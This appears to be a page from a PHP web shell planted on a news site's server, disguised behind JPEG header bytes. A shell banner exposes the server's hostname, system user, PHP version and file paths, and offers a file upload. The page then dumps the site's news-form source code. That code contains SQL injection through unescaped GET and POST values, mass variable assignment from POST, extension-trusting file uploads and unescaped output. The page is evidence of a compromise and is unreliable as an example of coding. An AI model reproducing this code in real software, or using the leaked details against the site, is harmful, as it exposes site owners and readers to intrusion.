ÿØÿà JFIF ` ` ÿþ
|
Server : Apache System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64 User : farolpborg ( 1053) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/farolpborg/public_html/cms/ |
Upload File : |
<?
$Pagina = "Notícia";
$tabela = "noticias";
$tabela2 = "noticias_categorias";
include("_includes/cabecalho.php");
$op = $_GET['op'];
$id = $_GET['id'];
if($op == "editar"){ $optx = 'salvar'; } else { $optx = 'adicionar'; }
foreach($_POST as $key => $valor){
$$key = addslashes($valor);
}
$titulo = remove_aspas($_POST['titulo']);
$slug = remove_acentos($_POST['titulo']);
$imagem = $_FILES['imagem']['tmp_name'];
$imagem_name = $_FILES['imagem']['name'];
$imagem_ref = "not";
$imagem_data = date("dmYHis");
$imagem_ext = pathinfo($imagem_name, PATHINFO_EXTENSION);
$imagem_dir = "../_shared/".$tabela;
$o_datahora = $_POST['datahora'];
$n_datahora = str_replace('/', '-', $o_datahora);
$datahor = date('Y-m-d H:i:s', strtotime($n_datahora));
if(!empty($id)){
$sqldel = mysqli_query($conecta, "SELECT imagem FROM $tabela WHERE id='$id'");
$resdel = mysqli_fetch_object($sqldel);
}
$sqlchk = mysqli_query($conecta, "SELECT slug FROM $tabela WHERE slug = '$slug'");
$reschk = mysqli_num_rows($sqlchk);
$ifslug = ($reschk == 1 ? '-'.mt_rand() : '');
$cpobgt = '<section class="formulario">';
$cpobgt .= '<h1 title="'.$Pagina.'"><span>'.$Pagina.'</span></h1>';
$cpobgt .= '<p>';
$cpobgt .= '<strong>Campo(s) vazio(s):</strong><br><br>';
$cpobgt .= '- Título<br>';
$cpobgt .= '- Texto<br>';
$cpobgt .= '- Autor';
$cpobgt .= '</p>';
$cpobgt .= '<div><div class="clearfix"><input type="submit" value="Voltar" name="<?=$optx;?>" onclick="history.back();"></div></div>';
$cpobgt .= '</section>';
if(isset($_POST['salvar'])){
if($op == 'editar'){
if(!empty($imagem)){
@unlink($imagem_dir."/".$resdel->imagem);
$nova_imagem = $imagem_ref.$imagem_data.".".strtolower($imagem_ext);
move_uploaded_file($imagem, "$imagem_dir/$nova_imagem");
redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgBig, $ImgBig, $imagem_dir."/big_".$nova_imagem);
redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgMed, $ImgMed, $imagem_dir."/med_".$nova_imagem);
redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgMin, $ImgMin, $imagem_dir."/min_".$nova_imagem);
redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgNor, $ImgNor, $imagem_dir."/".$nova_imagem);
mysqli_query($conecta, "UPDATE $tabela SET imagem='$nova_imagem' WHERE id='$id'");
}
if(is_dir($imagem_dir."/".$id)){
if($imagens == 0){
remover_dir($imagem_dir."/".$id);
}
}
if(empty($titulo) || empty($texto) || empty($por)){
$erro = true;
include("_ui/alerts.php");
echo $cpobgt;
exit;
}
mysqli_query($conecta, "UPDATE $tabela SET datahora='$datahor', datahora_atualizada='".date('Y-m-d H:i:s')."', destacar='$destacar', titulo='$titulo', tipo='$tipo', fonte_imagem='$fonte_imagem', video='$video', audio='$audio', texto='$texto', fonte='$fonte', por='$por', imagens='$imagens', slug='$slug' WHERE id='$id'");
$sucesso_salvar = true;
$atividade = $atividade_editar.$id;
}
}
if(isset($_POST['adicionar'])){
if(!empty($imagem)){
$nova_imagem = $imagem_ref.$imagem_data.".".strtolower($imagem_ext);
move_uploaded_file($imagem, "$imagem_dir/$nova_imagem");
redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgBig, $ImgBig, $imagem_dir."/big_".$nova_imagem);
redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgMed, $ImgMed, $imagem_dir."/med_".$nova_imagem);
redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgMin, $ImgMin, $imagem_dir."/min_".$nova_imagem);
redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgNor, $ImgNor, $imagem_dir."/".$nova_imagem);
}
if(empty($titulo) || empty($texto) || empty($por)){
$erro = true;
include("_ui/alerts.php");
echo $cpobgt;
exit;
}
mysqli_query($conecta, "INSERT INTO $tabela (datahora, destacar, titulo, tipo, imagem, fonte_imagem, video, audio, texto, fonte, por, imagens, slug) VALUES ('$datahor', '$destacar', '$titulo', '$tipo', '$nova_imagem', '$fonte_imagem', '$video', '$audio', '$texto', '$fonte', '$por', '$imagens', '$slug".$ifslug."')");
$id = mysqli_insert_id($conecta);
$sucesso_adicionar = true;
$atividade = $atividade_adicionar.$id;
if($imagens == 1){
include("_ui/registros.php");
echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'-imgs/'.$id.'";</script>';
} else {
include("_ui/registros.php");
echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'";</script>';
}
}
if($op == 'destacar'){
mysqli_query($conecta, "UPDATE $tabela SET destacar='1' WHERE id='$id'");
$atividade = $atividade_destacar.$id;
echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'";</script>';
}
if($op == 'esconder'){
mysqli_query($conecta, "UPDATE $tabela SET destacar='0' WHERE id='$id'");
$atividade = $atividade_esconder.$id;
echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'";</script>';
}
if($op == 'remover_imagem'){
@unlink($imagem_dir."/big_".$resdel->imagem);
@unlink($imagem_dir."/med_".$resdel->imagem);
@unlink($imagem_dir."/min_".$resdel->imagem);
@unlink($imagem_dir."/".$resdel->imagem);
mysqli_query($conecta, "UPDATE $tabela SET imagem='' WHERE id='$id'");
$atividade = $atividade_deletar_imagem.$id;
echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'-form/editar/'.$id.'";</script>';
}
if($op == 'deletar'){
@unlink($imagem_dir."/big_".$resdel->imagem);
@unlink($imagem_dir."/med_".$resdel->imagem);
@unlink($imagem_dir."/min_".$resdel->imagem);
@unlink($imagem_dir."/".$resdel->imagem);
mysqli_query($conecta, "DELETE FROM $tabela WHERE id='$id'");
$atividade = $atividade_deletar.$id;
echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'";</script>';
}
if($op != 'destacar' && $op != 'esconder' && $op != 'deletar'){
include("_ui/registros.php");
}
$sql = mysqli_query($conecta, "SELECT * FROM $tabela WHERE id='$id'");
$res = mysqli_fetch_object($sql);
include("_ui/alerts.php");
?>
<form method="post" action="" enctype="multipart/form-data">
<input name="id" type="hidden" value="<?=$id;?>">
<section class="formulario">
<h1 title="<?=$Pagina;?>"><span><?=$Pagina;?></span></h1>
<div>
<label for="">Destacar?</label>
<div class="clearfix cbx">
<input type="checkbox" name="destacar" id="destacar" value="1"<? if($res->destacar == 1 || $op != "editar"){ ?> checked="checked"<? } ?>> <label for="destacar">Marcar para destacar</label><br>
</div>
</div>
<div>
<label for="datahora">Data e Hora</label>
<div class="clearfix">
<input type="text" name="datahora" id="datahora" value="<? if($op == "editar"){ echo formata_datahora2($res->datahora); } else { echo date("d/m/Y H:i"); } ?>">
<i class="zmdi zmdi-calendar-check sdh"></i>
</div>
</div>
<div>
<label for="titulo">Título</label>
<div class="clearfix big">
<input type="text" name="titulo" id="titulo" class="tul" value="<?=$res->titulo;?>">
<i class="zmdi zmdi-format-size tul" title="Capitular texto"></i>
</div>
</div>
<div>
<label for="imagem">Imagem principal</label>
<div class="clearfix">
<input type="file" name="imagem" id="imagem" class="pim">
<small>Min. <?=$ImgLog;?>px</small>
<? if(!empty($res->imagem)){ ?><a href="<?=$Url;?>/_shared/<?=$tabela;?>/<?=$res->imagem;?>" title="Ampliar imagem" class="ampimg"><img src="<?=$Url;?>/_shared/<?=$tabela;?>/min_<?=$res->imagem;?>" width="auto" class="pim" alt="Ampliar imagem"></a><br>
<a href="javascript:void(0);" onclick="confirma('<?=$mensagem_excluir;?>', '<?=$UrlCms;?>/<?=$tabela;?>-form/remover_imagem/<?=$res->id;?>');" title="Remover imagem"><i class="zmdi zmdi-delete"></i> Remover imagem</a><? } ?>
<img src="#" class="pim" height="auto">
</div>
</div>
<div class="tipo0" style="display:<? if($res->tipo == 0){ echo 'block'; } else { echo 'none'; } ?>">
<label for="fonte_imagem">Legenda/Fonte da imagem</label>
<div class="clearfix">
<input type="text" name="fonte_imagem" id="fonte_imagem" value="<?=$res->fonte_imagem;?>">
</div>
</div>
<div class="tipo1" style="display:<? if($res->tipo == 1){ echo 'block'; } else { echo 'none'; } ?>">
<label for="video">Url do vídeo</label>
<div class="clearfix">
<input type="text" name="video" id="video" placeholder="http://" value="<?=$res->video;?>">
<small>Ex.: https://www.youtube.com/watch?v=C3wCFavRXEI</small>
<? if($op == "editar" && !empty($res->video)){ ?>
<img src="<?=video_imagem($res->video);?>" width="auto" class="piv" alt="Imagem do vídeo">
<? } ?>
</div>
</div>
<div class="tipo2" style="display:<? if($res->tipo == 2){ echo 'block'; } else { echo 'none'; } ?>">
<label for="audio">Código de incorporação do áudio</label>
<div class="clearfix">
<textarea name="audio" id="audio"><?=stripslashes($res->audio);?></textarea>
<? if($op == "editar" && !empty($res->audio)){ ?>
<?=$res->audio;?>
<? } ?>
</div>
</div>
<div>
<label for="txtarea">Texto</label>
<div class="clearfix">
<textarea name="texto" id="txtarea"><?=stripslashes($res->texto);?></textarea>
</div>
</div>
<div>
<label for="fonte">Fonte do texto</label>
<div class="clearfix">
<input type="text" name="fonte" id="fonte" value="<?=$res->fonte;?>">
</div>
</div>
<div>
<label for="por">Por</label>
<div class="clearfix">
<? if($op == "editar"){ ?>
<input type="text" name="por" id="por" value="<?=$res->por;?>">
<? } else { ?>
<input type="text" name="por" id="por" value="<?=$_SESSION['$Secao']['sesNome'];?>">
<? } ?>
</div>
</div>
<div>
<label for="">Ativar galeria?</label>
<div class="clearfix cbx">
<input type="checkbox" name="imagens" id="imagens" value="1"<? if($res->imagens == 1){ ?> checked="checked"<? } ?>> <label for="imagens">Ativar</label><br>
</div>
</div>
<div>
<div class="clearfix">
<input type="submit" name="<?=$optx;?>" value="<?=$optx;?>"><? if($res->imagens == 1){ ?> <a href="<?=$UrlCms;?>/<?=$tabela;?>-imgs/<?=$id;?>">Adicionar mais imagens</a> <? } ?> <a href="<?=$UrlCms;?>/<?=$tabela;?>">Voltar</a>
</div>
</div>
</section>
</form>
<?
include("_includes/rodape.php");
?>